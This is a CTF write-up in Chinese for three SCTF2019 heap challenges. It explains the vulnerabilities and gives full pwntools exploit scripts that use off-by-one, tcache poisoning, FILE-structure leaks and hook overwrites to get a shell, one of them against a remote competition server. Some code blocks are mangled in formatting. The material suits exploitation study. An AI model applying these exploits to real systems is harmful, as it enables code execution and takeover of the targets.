SCTF2019 write up for pwn challenges

Start

周末的时候因为有CISCN半决赛所以没时间做SCTF.半决赛有点遗憾,实力还是差了点.暑假考G的同时也加紧修行. SCTF有人解出来的pwn有三题,最后一题看名字就知道我做不出来,两天内接着休息时间做了一下发现难度不大,easy_heap比较看基本功,one_heap比较新颖(本来我也想研究一下出一题攻击tcache结构的题目没想到被抢先了),出乎意外的是two_heap比较简单后来发现是出题人把关不严非预期了.

总的来说也学到了不少.这里简单记录一下write-up

easy_heap

binary 相关知识点以下文章中有提及 off_by_one IO_LEAK

analysis

[*] '/home/n132/Desktop/easy-heap/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
  • 漏洞比较常规是editnull-byte-off
  • 没有常规泄漏点
  • libc-2.23

    solution

  • 因为开了PIE所以就不unlink了
  • 因为没有常规泄漏所以要么partial write碰撞要么只能做IO_LEAK了(一般情况下能IO_LEAK就不碰撞)
  • 全题最大的难点是为啥给我了一些没用的东西(我想了半天有啥用没,事实上没有也能做,可能有用上这些做的更快的方法)…

exp

from pwn import *
def cmd(c):
	p.sendlineafter(">> ",str(c))
def add(size):
	cmd(1)
	p.sendlineafter(": ",str(size))
	p.readuntil("ss ")
	heap=int(p.readline()[:-1],16)
	return heap
def edit(idx,c):
	cmd(3)
	p.sendlineafter(": ",str(idx))
	p.sendafter(": ",c)
def free(idx):
	cmd(2)
	p.sendlineafter(": ",str(idx))
#context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=process('./easy_heap',env={"LD_PRELOAD":"./libc.so.6"})
p=remote("132.232.100.67",10004)
p.readuntil("Mmap: ")
mmap=int(p.readline()[:-1],16)
heap=add(0x400)-0x10#0
add(0x88)#1
add(0x88)#2
free(0)
add(0x18)
edit(0,"A"*0x18)
add(0x88)#3
add(0x68)#4
free(3)
free(1)
add(0x200-8)#1
free(4)
add(0x88)#3
free(3)
add(0x98)#3
edit(3,"A"*0x88+p64(0x71)+'\xdd\x25\n')
add(0x68)#4
add(0x68)#5
edit(5,"\x00"*(0x43-16)+p64(0xfbad1800)+"\x00"*0x18+'\x00\n')
p.read(0x40)
base=u64(p.read(8))-(0x7ffff7dd2600-0x7ffff7a0d000)
log.info(hex(base))

libc.address=base
free(4)
free(3)
add(0x98)#3
edit(3,"A"*0x88+p64(0x71)+p64(libc.sym['__malloc_hook']-35)+'\n')
add(0x68)#4
add(0x68)#6
one=base+0xf02a4
edit(6,'\x00'*19+p64(one)+'\n')

#gdb.attach(p)
free(6)
p.interactive()
#need 47:29:35
#(2019-06-26)

one_heap

binary 挺有趣的因为这个知识点之前没遇过,所以挺考验漏洞利用能力的. 相关知识点tcache仔细看一下源码tcache部分对照着heap开始部分就可以看清楚了 主要是攻击tcache之后free,可以得到libc内地址进而修改tcache-list完成攻击。

#if USE_TCACHE
              /* While we're here, if we see other chunks of the same size,
                 stash them in the tcache.  */
              size_t tc_idx = csize2tidx (nb);
              if (tcache && tc_idx < mp_.tcache_bins)
                {
                  mchunkptr tc_victim;
                  /* While bin not empty and tcache not full, copy chunks.  */
                  while (tcache->counts[tc_idx] < mp_.tcache_count
                         && (tc_victim = *fb) != NULL)
                    {
                      if (SINGLE_THREAD_P)
                        *fb = tc_victim->fd;
                      else
                        {
                          REMOVE_FB (fb, pp, tc_victim);
                          if (__glibc_unlikely (tc_victim == NULL))
                            break;
                        }
                      tcache_put (tc_victim, tc_idx);
                    }
                }
#endif

analysis

[*] '/home/n132/Desktop/one_heap-/one_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

全保护

  • 只有两个功能add+del次数分别有限制(0xf,0x4)
  • del存在uaf但是只有4次(那么就比较尴尬了,不能愉快滴double free一套带走了)
  • 但是我们可以通过控制tcache结构体,利用unsorted bin的fb,bk在tcache上留下libc内地址之后partial write做IO_LEAK
  • 其中风水试试就会了.事实上难度不大我当时可能学了半天英语脑子比较傻做了3个小时多.

solution

  • tcache atk
  • IO leak
  • system(‘/bin/sh\x00’)

    exp

    ```python from pwn import * def cmd(c): p.sendlineafter(“:”,str(c)) def add(size,name=””): cmd(1) p.sendlineafter(“size:”,str(size)) p.sendlineafter(“:”,name) def free(): cmd(2) context.log_level=’debug’ p=process(‘./one_heap’) libc=ELF(“./one_heap”).libc cmd(1) p.sendlineafter(“size:”,str(0x79)) p.sendafter(“:”,’\x00’*0x78+’\x91’)

free() free() add(0x79,p16(0x7010))#1 add(0x7f)#2 add(0x7f,’\x00’0x20+p64(0x0000000007000000))#3 free() add(0x41,’\x00’0x40)#4 add(0x18) add(0x18,’\x60\x07\xdd’)#5 add(0x78,p64(0x1800)+’\x00’*0x18+’\x00’)#6 p.read(0x20) base=u64(p.read(8))-(0x7ffff7dcf780-0x7ffff79e4000) log.warning(hex(base)) add(0x38,’\x10\x70’) add(0x48,””) add(0x7f,””) libc.address=base add(0x7f,p64(libc.sym[‘__free_hook’])) add(0x48) add(0x48,p64(libc.sym[‘system’])) add(0x18,”/bin/sh\x00”) gdb.attach(p,’’) free() p.interactive()

03:36:15

19-06-27

# two_heap
[binary][5]
run on libc 2.26...
题目如果用非预期的话比较简单.我(<-懒,迟早要遭报应的)就不复现[official's exp][6]了
## analysis
* 开始有个formatstr可以用%a泄漏
* 主要限制在malloc的size会被aline成8的倍数,而且不能重复,且小于0x80
* 可以double free
* tcache机制下,一般来说我们利用double free至少需要malloc 4个相同大小的chunk
```python
add(n)
free()
free()
add(n,xxxx)
add(n)
add(n)
  • 例如0x70大小的chunk我们可以通过malloc(0x60 or 0x68)获得

    solution

  • leak libc
  • 有个比较特殊的东西就是0x20,可以通过malloc(0x0,0x8,0x10,0x18)获得所以我们就可以轻松滴getshell.

    exp

    ```python from pwn import * def name(n): p.sendafter(“:\n”,n) def cmd(c): p.sendlineafter(“:”,str(c)) def add(size,n=”\n”): cmd(1) cmd(size) p.sendafter(“:\n”,n) def free(idx): cmd(2) cmd(idx) #context.log_level=’debug’ libc=ELF(“./libc-2.26.so”) #libc=ELF(“/glibc/x64/2.26/lib/libc-2.26.so”) p=process(“./two_heap”,env={“LD_PRELOAD”:”./libc-2.26.so”}) #p=process(‘./two_heap’,env={“LD_PRELOAD”:”/glibc/x64/2.26/lib/libc-2.26.so”}) #p=remote(“47.104.89.129”,10002) name(“%a|%a%a%a%a”) p.readuntil(“|0x0p+0”) p.read(4) base=int(“0x”+p.readuntil(“p”)[:-1],16)-(0x7ffff7ffea78-0x7ffff7a26000)-(0x7ffff2264fa-0x7ffff7dd7000) log.warning(hex(base))

libc.address=base cmd(1) cmd(0) for x in range(4): free(0) add(0x8,p64(0x7ffff7ff15a8-0x7ffff7dd7000+base)) #add(0x8,p64(libc.sym[‘__free_hook’])) add(0x10) gdb.attach(p) add(0x18,p64(0x7ffff7e85f80-0x7ffff7dd7000+base)+’\n’) #add(0x18,p64(libc.sym[‘system’])+”\n”) add(0x28,”/bin/sh\x00\n”)

free(4) #gdb.attach(p,’b *0x000555555555604’)

# p.interactive()

1:15:54

19-06-27

```